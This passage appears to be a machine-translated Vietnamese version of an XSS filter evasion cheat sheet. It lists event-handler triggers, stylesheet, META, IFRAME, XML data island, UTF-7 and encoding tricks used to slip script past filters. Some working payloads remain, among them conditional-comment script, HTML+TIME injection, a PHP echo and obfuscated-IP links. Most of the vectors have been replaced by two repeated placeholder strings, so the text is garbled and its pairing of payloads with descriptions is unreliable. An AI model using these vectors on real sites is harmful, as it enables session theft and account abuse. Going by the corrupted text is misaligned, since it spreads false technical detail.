  57. Set.constructor`alert\x28document.domain\x29
    
    44 (cháy khi tài liệu nhận được tin nhắn)
  58. Set.constructor`alert\x28document.domain\x29
    
    45 (kẻ tấn công sẽ cần khiến người dùng nhấp vào hình ảnh)
  59. Set.constructor`alert\x28document.domain\x29
    
    46 (con trỏ di chuyển trên một đối tượng hoặc khu vực)
  60. Set.constructor`alert\x28document.domain\x29
    
    47 (kẻ tấn công sẽ cần yêu cầu người dùng di chuột qua một hình ảnh hoặc bảng rồi tắt lại)
  61. Set.constructor`alert\x28document.domain\x29
    
    48 (kẻ tấn công cần yêu cầu người dùng di chuột qua hình ảnh hoặc bảng)
  62. Set.constructor`alert\x28document.domain\x29
    
    49 (kẻ tấn công sẽ cần yêu cầu người dùng di chuột qua một hình ảnh hoặc bảng rồi tắt lại)
  63. Set.constructor`alert\x28document.domain\x29
    
    50 (con trỏ di chuyển trên một đối tượng hoặc khu vực)
  64. Set.constructor`alert\x28document.domain\x29
    
    51 (kẻ tấn công sẽ cần khiến người dùng nhấp vào hình ảnh)
  65. Set.constructor`alert\x28document.domain\x29
    
    52 (kẻ tấn công sẽ cần khiến người dùng sử dụng con lăn chuột của họ)
  66. Set.constructor`alert\x28document.domain\x29
    
    53 (người dùng hoặc kẻ tấn công sẽ di chuyển trang)
  67. Set.constructor`alert\x28document.domain\x29
    
    54 (người dùng hoặc kẻ tấn công sẽ di chuyển trang)
  68. Set.constructor`alert\x28document.domain\x29
    
    55 (người dùng hoặc kẻ tấn công sẽ di chuyển trang)
  69. Set.constructor`alert\x28document.domain\x29
    
    56 (xảy ra nếu trình duyệt đang hoạt động ở chế độ trực tuyến và nó bắt đầu hoạt động ngoại tuyến)
  70. Set.constructor`alert\x28document.domain\x29
    
    57 (xảy ra nếu trình duyệt đang hoạt động ở chế độ ngoại tuyến và nó bắt đầu hoạt động trực tuyến)
  71. Set.constructor`alert\x28document.domain\x29
    
    58 (làm gián đoạn khả năng phát phương tiện của phần tử như được xác định bởi dòng thời gian)
  72. Set.constructor`alert\x28document.domain\x29
    
    59 (người dùng cần dán hoặc kẻ tấn công có thể sử dụng hàm
    <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    3)
  73. Set.constructor`alert\x28document.domain\x29
    
    61 (sự kiện tạm dừng kích hoạt mọi phần tử đang hoạt động khi dòng thời gian tạm dừng, bao gồm cả phần tử cơ thể)
  74. Set.constructor`alert\x28document.domain\x29
    
    62 (kích hoạt khi người dùng điều hướng lịch sử phiên)
  75. Set.constructor`alert\x28document.domain\x29
    
    63 (kẻ tấn công sẽ sử dụng điều này khi đang tải một bộ phim flash)
  76. Set.constructor`alert\x28document.domain\x29
    
    64 (người dùng hoặc kẻ tấn công sẽ cần thay đổi thuộc tính phần tử)
  77. Set.constructor`alert\x28document.domain\x29
    
    65 (người dùng hoặc kẻ tấn công sẽ cần thay đổi thuộc tính phần tử)
  78. Set.constructor`alert\x28document.domain\x29
    
    66 (người dùng tiếp tục trong lịch sử giao dịch hoàn tác)
  79. Set.constructor`alert\x28document.domain\x29
    
    67 (sự kiện kích hoạt một lần cho mỗi lần lặp lại dòng thời gian, không bao gồm toàn bộ chu kỳ đầu tiên)
  80. Set.constructor`alert\x28document.domain\x29
    
    68 (người dùng hoặc kẻ tấn công đặt lại biểu mẫu)
  81. Set.constructor`alert\x28document.domain\x29
    
    69 (người dùng sẽ thay đổi kích thước cửa sổ; kẻ tấn công có thể tự động khởi chạy bằng nội dung nào đó như.
    Set.constructor`alert\x28document.domain\x29
    
    70)
  82. Set.constructor`alert\x28document.domain\x29
    
    71 (người dùng sẽ thay đổi kích thước cửa sổ; kẻ tấn công có thể tự động khởi tạo bằng thứ gì đó như.
    Set.constructor`alert\x28document.domain\x29
    
    70)
  83. Set.constructor`alert\x28document.domain\x29
    
    73 (người dùng sẽ thay đổi kích thước cửa sổ; kẻ tấn công có thể tự động khởi tạo bằng thứ gì đó như.
    Set.constructor`alert\x28document.domain\x29
    
    70)
  84. Set.constructor`alert\x28document.domain\x29
    
    75 (sự kiện onresume kích hoạt mọi phần tử sẽ hoạt động khi dòng thời gian tiếp tục, bao gồm cả phần tử cơ thể)
  85. Set.constructor`alert\x28document.domain\x29
    
    76 (nếu phần tử có số lần lặp lại lớn hơn một, thì sự kiện này sẽ kích hoạt mỗi khi dòng thời gian bắt đầu phát ngược)
  86. Set.constructor`alert\x28document.domain\x29
    
    77 (người dùng hoặc kẻ tấn công sẽ cần thay đổi một hàng trong nguồn dữ liệu)
  87. Set.constructor`alert\x28document.domain\x29
    
    78 (người dùng hoặc kẻ tấn công sẽ cần thay đổi một hàng trong nguồn dữ liệu)
  88. Set.constructor`alert\x28document.domain\x29
    
    79 (người dùng hoặc kẻ tấn công sẽ cần xóa một hàng trong nguồn dữ liệu)
  89. Set.constructor`alert\x28document.domain\x29
    
    80 (người dùng hoặc kẻ tấn công sẽ cần chèn một hàng vào nguồn dữ liệu)
  90. Set.constructor`alert\x28document.domain\x29
    
    81 (người dùng sẽ cần cuộn hoặc kẻ tấn công có thể sử dụng chức năng
    Set.constructor`alert\x28document.domain\x29
    
    82)
  91. Set.constructor`alert\x28document.domain\x29
    
    83 (sự kiện đảo ngược kích hoạt khi dòng thời gian được thiết lập để phát theo bất kỳ hướng nào khác ngoài chuyển tiếp)
  92. Set.constructor`alert\x28document.domain\x29
    
    84 (người dùng cần chọn một số văn bản - kẻ tấn công có thể tự động khởi tạo bằng nội dung nào đó như.
    Set.constructor`alert\x28document.domain\x29
    
    85)
  93. Set.constructor`alert\x28document.domain\x29
    
    86 (người dùng cần chọn một số văn bản - kẻ tấn công có thể tự động khởi tạo bằng nội dung nào đó như.
    Set.constructor`alert\x28document.domain\x29
    
    85)
  94. Set.constructor`alert\x28document.domain\x29
    
    88 (người dùng cần chọn một số văn bản - kẻ tấn công có thể tự động khởi tạo bằng nội dung nào đó như.
    Set.constructor`alert\x28document.domain\x29
    
    85)
  95. Set.constructor`alert\x28document.domain\x29
    
    90 (cháy ở đầu mỗi vòng lặp marquee)
  96. Set.constructor`alert\x28document.domain\x29
    
    91 (người dùng cần nhấn nút dừng hoặc rời khỏi trang web)
  97. Set.constructor`alert\x28document.domain\x29
    
    92 (khu vực lưu trữ đã thay đổi)
  98. Set.constructor`alert\x28document.domain\x29
    
    93 (người dùng làm gián đoạn khả năng phát phương tiện của phần tử như được xác định bởi dòng thời gian để kích hoạt)
  99. Set.constructor`alert\x28document.domain\x29
    
    94 (yêu cầu kẻ tấn công hoặc người dùng gửi biểu mẫu)
  100. Set.constructor`alert\x28document.domain\x29
    
    95 (người dùng hoặc kẻ tấn công đặt thuộc tính thời gian, chẳng hạn như dur, thành giá trị không hợp lệ)
  101. Set.constructor`alert\x28document.domain\x29
    
    96 (người dùng hoặc kẻ tấn công thay đổi bản nhạc trong danh sách phát)
  102. Set.constructor`alert\x28document.domain\x29
    
    97 (người dùng đã lùi lại trong lịch sử giao dịch hoàn tác)
  103. Set.constructor`alert\x28document.domain\x29
    
    98 (khi người dùng nhấp vào bất kỳ liên kết nào hoặc nhấn nút quay lại hoặc kẻ tấn công buộc phải nhấp)
  104. Set.constructor`alert\x28document.domain\x29
    
    99 (sự kiện này kích hoạt khi tệp Định dạng phát trực tuyến nâng cao (ASF), được phát bởi thẻ phương tiện HTML+TIME (Tiện ích mở rộng đa phương tiện tương tác theo thời gian), xử lý các lệnh tập lệnh được nhúng trong tệp ASF)
  105. exp/*<A STYLE='no\xss:noxss("*//*");
    xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
    
    00 (đây là phương pháp định vị điểm đã chỉ định trên dòng thời gian phân đoạn của phần tử và bắt đầu phát từ thời điểm đó. Phân đoạn bao gồm một lần lặp lại dòng thời gian bao gồm phát ngược lại bằng thuộc tính AUTOREVERSE. )

BGSOUND

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
01

& JavaScript bao gồm

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
02

tờ PHONG CÁCH

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
03

Biểu định kiểu từ xa

Sử dụng thứ gì đó đơn giản như biểu định kiểu từ xa, bạn có thể bao gồm XSS của mình vì tham số kiểu có thể được xác định lại bằng cách sử dụng biểu thức được nhúng. Điều này chỉ hoạt động trong IE và Netscape 8. 1+ trong chế độ công cụ kết xuất IE. Lưu ý rằng không có gì trên trang cho thấy có JavaScript được bao gồm. Ghi chú. Với tất cả các ví dụ biểu định kiểu từ xa này, chúng sử dụng thẻ body, vì vậy nó sẽ không hoạt động trừ khi có một số nội dung trên trang không phải là chính vectơ, vì vậy bạn sẽ cần thêm một chữ cái vào trang để tạo

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
04

Bảng định kiểu từ xa phần 2

Điều này hoạt động tương tự như trên, nhưng sử dụng thẻ

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
05 thay vì thẻ
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
06). Một biến thể nhỏ trên vectơ này đã được sử dụng để hack Google Desktop. Như một lưu ý phụ, bạn có thể xóa thẻ kết thúc
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
07 nếu có HTML ngay sau vectơ để đóng nó. Điều này hữu ích nếu bạn không thể có dấu bằng hoặc dấu gạch chéo trong cuộc tấn công tập lệnh chéo trang của mình, điều này đã xuất hiện ít nhất một lần trong thế giới thực

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
08

Bảng định kiểu từ xa phần 3

Điều này chỉ hoạt động trong Opera 8. 0 (không còn trong 9. x) nhưng khá phức tạp. Theo RFC2616, cài đặt tiêu đề liên kết không phải là một phần của HTTP1. 1, tuy nhiên một số trình duyệt vẫn cho phép nó (như Firefox và Opera). Mẹo ở đây là tôi đang đặt một tiêu đề (về cơ bản không khác gì trong tiêu đề HTTP có nội dung là

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
09) và biểu định kiểu từ xa với vectơ tập lệnh chéo trang của tôi đang chạy JavaScript, vốn không được hỗ trợ trong FireFox

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
10

Bảng định kiểu từ xa phần 4

Điều này chỉ hoạt động trong các công cụ kết xuất Gecko và hoạt động bằng cách liên kết tệp XUL với trang mẹ. Tôi nghĩ điều trớ trêu ở đây là Netscape cho rằng Gecko an toàn hơn và do đó dễ bị ảnh hưởng bởi điều này đối với đại đa số các trang web

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
11

Thẻ STYLE với JavaScript bị hỏng cho XSS

XSS này đôi khi gửi IE vào một vòng lặp cảnh báo vô tận

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
12

Thuộc tính PHONG CÁCH sử dụng Nhận xét cho Biểu thức chia tay

Tạo bởi Roman Ivanov

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
13

IMG STYLE với biểu cảm

Đây thực sự là sự kết hợp của các vectơ XSS ở trên, nhưng nó thực sự cho thấy mức độ khó để phân tích các thẻ STYLE, như ở trên, điều này có thể đưa IE vào một vòng lặp

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

Thẻ STYLE (Chỉ các phiên bản cũ hơn của Netscape)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
14

Thẻ STYLE sử dụng hình nền

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
15

Thẻ STYLE sử dụng Nền

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
16
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
17

HTML ẩn danh với thuộc tính STYLE

IE6. 0 và Netscape 8. 1+ trong chế độ công cụ kết xuất IE không thực sự quan tâm liệu thẻ HTML bạn tạo có tồn tại hay không, miễn là nó bắt đầu bằng dấu ngoặc nhọn mở và một chữ cái

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
18

Tệp htc cục bộ

Điều này hơi khác so với hai vectơ tập lệnh chéo trang ở trên vì nó sử dụng một. htc phải nằm trên cùng một máy chủ với vectơ XSS. Tệp ví dụ hoạt động bằng cách lấy JavaScript và chạy nó như một phần của thuộc tính style

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
19

Mã hóa US-ASCII

Mã hóa US-ASCII (được tìm thấy bởi Kurt Huwig). Điều này sử dụng mã hóa ASCII không đúng định dạng với 7 bit thay vì 8. XSS này có thể bỏ qua nhiều bộ lọc nội dung nhưng chỉ hoạt động nếu máy chủ truyền ở dạng mã hóa US-ASCII hoặc nếu bạn tự đặt mã hóa. Điều này hữu ích hơn đối với việc trốn tránh tập lệnh chéo trang của tường lửa ứng dụng web hơn là trốn tránh bộ lọc phía máy chủ. Apache Tomcat là máy chủ được biết đến duy nhất truyền mã hóa US-ASCII

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
20

META

Điều kỳ lạ về làm mới meta là nó không gửi liên kết giới thiệu trong tiêu đề - vì vậy nó có thể được sử dụng cho một số kiểu tấn công nhất định mà bạn cần loại bỏ các URL giới thiệu

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
21

META sử dụng dữ liệu

Lược đồ URL chỉ thị. Điều này thật tuyệt vì nó cũng không có bất kỳ thứ gì rõ ràng có từ SCRIPT hoặc chỉ thị JavaScript trong đó, bởi vì nó sử dụng mã hóa base64. Vui lòng xem RFC 2397 để biết thêm chi tiết hoặc vào đây hoặc đây để mã hóa của riêng bạn. Bạn cũng có thể sử dụng máy tính XSS bên dưới nếu bạn chỉ muốn mã hóa HTML hoặc JavaScript thô vì nó có phương pháp mã hóa Base64

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
22

META với Tham số URL bổ sung

Nếu trang web mục tiêu cố gắng xem liệu URL có chứa

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
23 ngay từ đầu hay không, bạn có thể tránh nó bằng kỹ thuật sau (Được gửi bởi Moritz Naumann)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
24

KHUNG KHUNG

Nếu iframe được cho phép thì cũng có rất nhiều vấn đề XSS khác

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
25

IFRAME dựa trên sự kiện

IFrames và hầu hết các yếu tố khác có thể sử dụng tình trạng lộn xộn dựa trên sự kiện như sau. (Gửi bởi. David Cross)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
26

KHUNG

Các khung có cùng loại sự cố XSS như iframe

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
27

BÀN

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
28

Giống như trên, TD dễ bị ảnh hưởng bởi BỐI CẢNH chứa vectơ XSS JavaScript

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
29

BHTG

DIV Hình nền

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
30

Hình nền DIV với Khai thác XSS Unicoded

Điều này đã được sửa đổi một chút để làm xáo trộn tham số URL. Lỗ hổng ban đầu được tìm thấy bởi Renaud Lifchitz là một lỗ hổng trong Hotmail

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
31

DIV Hình nền cộng với các ký tự bổ sung

Rnaske đã xây dựng một bộ làm mờ XSS nhanh chóng để phát hiện bất kỳ ký tự sai nào được cho phép sau dấu ngoặc đơn mở nhưng trước lệnh JavaScript trong IE và Netscape 8. 1 ở chế độ trang web an toàn. Đây là số thập phân nhưng tất nhiên bạn có thể bao gồm hex và thêm phần đệm. (Có thể sử dụng bất kỳ ký tự nào sau đây. 1-32, 34, 39, 160, 8192-8. 13, 12288, 65279)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
32

Biểu thức DIV

Một biến thể của điều này có hiệu quả đối với bộ lọc tập lệnh chéo trang trong thế giới thực bằng cách sử dụng một dòng mới giữa dấu hai chấm và "biểu thức"

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
33

Downlevel-Hidden Block

Chỉ hoạt động trong IE5. 0 trở lên và Netscape 8. 1 trong chế độ công cụ kết xuất IE). Một số trang web coi mọi thứ bên trong khối nhận xét là an toàn và do đó không cần phải xóa, điều này cho phép vector Cross Site Scripting của chúng tôi. Hoặc hệ thống có thể thêm các thẻ nhận xét xung quanh nội dung nào đó để cố gắng làm cho nội dung đó trở nên vô hại. Như chúng ta có thể thấy, điều đó có lẽ sẽ không thực hiện được công việc

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->

Thẻ CƠ SỞ

Hoạt động trong IE và Netscape 8. 1 ở chế độ an toàn. Bạn cần có

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
34 để nhận xét các ký tự tiếp theo để bạn không gặp phải lỗi JavaScript và thẻ XSS của bạn sẽ hiển thị. Ngoài ra, điều này dựa trên thực tế là trang web sử dụng các hình ảnh được đặt động như
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
35 thay vì đường dẫn đầy đủ. Nếu đường dẫn bao gồm một dấu gạch chéo dẫn đầu như
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
36, bạn có thể xóa một dấu gạch chéo khỏi vectơ này (miễn là có hai dấu gạch chéo để bắt đầu nhận xét thì thao tác này sẽ hiệu quả)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
37

Thẻ ĐỐI TƯỢNG

Nếu họ cho phép các đối tượng, bạn cũng có thể tiêm tải trọng vi-rút để lây nhiễm cho người dùng, v.v. và tương tự với thẻ APPLET). Tệp được liên kết thực sự là một tệp HTML có thể chứa XSS của bạn

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
38

NHÚNG một bộ phim Flash chứa XSS

Nhấn vào đây để xem bản trình diễn. ~~http. // ha. thợ mỏ. tổ chức/xss. sf~~

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
39

Nếu bạn thêm các thuộc tính

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
40 và
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
41 thì có thể giảm thiểu rủi ro này (cảm ơn Jonathan Vanasco về thông tin này)

EMBED SVG có chứa XSS Vector

Ví dụ này chỉ hoạt động trong Firefox, nhưng nó tốt hơn vectơ ở trên trong Firefox vì nó không yêu cầu người dùng bật hoặc cài đặt Flash. Cảm ơn nEUrOO vì điều này

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
42

Sử dụng ActionScript bên trong Flash để làm rối

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);

Đảo dữ liệu XML với CDATA Obfuscation

Cuộc tấn công XSS này chỉ hoạt động trong IE và Netscape 8. 1 trong chế độ công cụ kết xuất IE) - vectơ được Sec Consult tìm thấy khi kiểm tra Yahoo

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

XML được lưu trữ cục bộ với JavaScript nhúng được tạo bằng đảo dữ liệu XML

Điều này giống như trên nhưng thay vào đó đề cập đến một tệp XML được lưu trữ cục bộ (phải trên cùng một máy chủ) có chứa vectơ tập lệnh chéo trang của bạn. Bạn có thể xem kết quả tại đây

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

HTML + THỜI GIAN trong XML

Đây là cách Gray Magic hack Hotmail và Yahoo. Điều này chỉ hoạt động trong Internet Explorer và Netscape 8. 1 trong chế độ công cụ kết xuất IE và hãy nhớ rằng bạn cần phải ở giữa các thẻ HTML và BODY để điều này hoạt động

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>

Giả sử bạn chỉ có thể điền vào một vài ký tự và nó lọc theo exp/*<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'> 43

Bạn có thể đổi tên tệp JavaScript của mình thành hình ảnh dưới dạng vectơ XSS

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
44

SSI (Bao gồm phía máy chủ)

Điều này yêu cầu phải cài đặt SSI trên máy chủ để sử dụng vectơ XSS này. Tôi có lẽ không cần đề cập đến điều này, nhưng nếu bạn có thể chạy các lệnh trên máy chủ thì chắc chắn sẽ có nhiều vấn đề nghiêm trọng hơn

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
45

PHP

Yêu cầu cài đặt PHP trên máy chủ để sử dụng vectơ XSS này. Một lần nữa, nếu bạn có thể chạy bất kỳ tập lệnh nào từ xa như thế này, thì có thể có nhiều vấn đề nghiêm trọng hơn

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>

Lệnh nhúng IMG

Điều này hoạt động khi trang web nơi điều này được đưa vào (như bảng web) nằm sau bảo vệ bằng mật khẩu và bảo vệ bằng mật khẩu đó hoạt động với các lệnh khác trên cùng một miền. Điều này có thể được sử dụng để xóa người dùng, thêm người dùng (nếu người dùng truy cập trang là quản trị viên), gửi thông tin đăng nhập ở nơi khác, v.v. Đây là một trong những vectơ XSS ít được sử dụng hơn nhưng hữu ích hơn

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
46

Lệnh nhúng IMG phần II

Điều này đáng sợ hơn vì hoàn toàn không có số nhận dạng nào khiến nó trông đáng ngờ ngoài việc nó không được lưu trữ trên miền của riêng bạn. Vectơ sử dụng 302 hoặc 304 (những cái khác cũng hoạt động) để chuyển hướng hình ảnh trở lại lệnh. Vì vậy, một

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
47 bình thường thực sự có thể là một vectơ tấn công để chạy các lệnh với tư cách là người dùng xem liên kết hình ảnh. Đây là. htaccess (dưới Apache) để thực hiện vector (cảm ơn Timo vì một phần của điều này)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
48

Phải thừa nhận rằng điều này khá khó hiểu nhưng tôi đã thấy một số ví dụ cho phép

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
49 và bạn có thể sử dụng nó để ghi đè lên cookie. Có những ví dụ khác về các trang web thay vì tìm nạp tên người dùng từ cơ sở dữ liệu, nó được lưu trữ bên trong cookie để chỉ hiển thị cho người dùng truy cập trang. Khi kết hợp hai tình huống này, bạn có thể sửa đổi cookie của nạn nhân, cookie này sẽ được hiển thị lại cho họ dưới dạng JavaScript (bạn cũng có thể sử dụng cookie này để đăng xuất mọi người hoặc thay đổi trạng thái người dùng của họ, yêu cầu họ đăng nhập với tư cách là bạn, v.v. )

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
50

Mã hóa UTF-7

Nếu trang chứa XSS không cung cấp tiêu đề bộ ký tự trang hoặc bất kỳ trình duyệt nào được đặt thành mã hóa UTF-7 đều có thể bị khai thác bằng cách sau (Cảm ơn Roman Ivanov về điều này). Nhấp vào đây để biết ví dụ (bạn không cần câu lệnh bộ ký tự nếu trình duyệt của người dùng được đặt thành tự động phát hiện và không có loại nội dung nào ghi đè trên trang trong Internet Explorer và Netscape 8. 1 trong chế độ công cụ kết xuất IE). Điều này không hoạt động trong bất kỳ trình duyệt hiện đại nào mà không thay đổi loại mã hóa, đó là lý do tại sao nó được đánh dấu là hoàn toàn không được hỗ trợ. Watchfire đã tìm thấy lỗ hổng này trong tập lệnh 404 tùy chỉnh của Google

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
51

XSS Sử dụng Đóng gói Trích dẫn HTML

Điều này đã được thử nghiệm trong IE, số dặm của bạn có thể thay đổi. Để thực hiện XSS trên các trang web cho phép

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
52 nhưng không cho phép
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
53 bằng bộ lọc regex
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
54

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
55

Để thực hiện XSS trên các trang web cho phép

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
52 nhưng không cho phép
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
57 bằng bộ lọc biểu thức chính quy
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
58 (đây là một bộ lọc quan trọng, vì tôi đã thấy biểu thức chính quy này trong tự nhiên)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
59

Một XSS khác để tránh cùng một bộ lọc,

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
58

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
61

Một XSS khác để tránh cùng một bộ lọc,

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
58. Tôi biết tôi đã nói rằng tôi sẽ không thảo luận về các kỹ thuật giảm thiểu nhưng điều duy nhất tôi thấy có hiệu quả đối với ví dụ XSS này nếu bạn vẫn muốn cho phép các thẻ
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
52 chứ không phải tập lệnh từ xa là một máy trạng thái (và tất nhiên có nhiều cách khác

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
65

Và một cuộc tấn công XSS cuối cùng để tránh,

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
58 sử dụng dấu trọng âm (một lần nữa, không hoạt động trong Firefox)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
67>______4_______68

Đây là một ví dụ XSS đặt cược vào thực tế là biểu thức chính quy sẽ không bắt được một cặp dấu ngoặc kép phù hợp mà sẽ tìm thấy bất kỳ dấu ngoặc kép nào để chấm dứt chuỗi tham số không đúng cách

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
69

XSS này vẫn làm tôi lo lắng, vì gần như không thể ngăn chặn điều này nếu không chặn tất cả nội dung đang hoạt động

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
70

Né tránh chuỗi URL

Giả sử

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
71 không được phép lập trình

IP so với tên máy chủ

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
72

Mã hóa URL

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
73

Mã hóa DWORD

Ghi chú. có các biến thể khác của mã hóa Dword - xem máy tính IP Obfuscation bên dưới để biết thêm chi tiết

exp/*<A STYLE='no\xss:noxss("*//*");
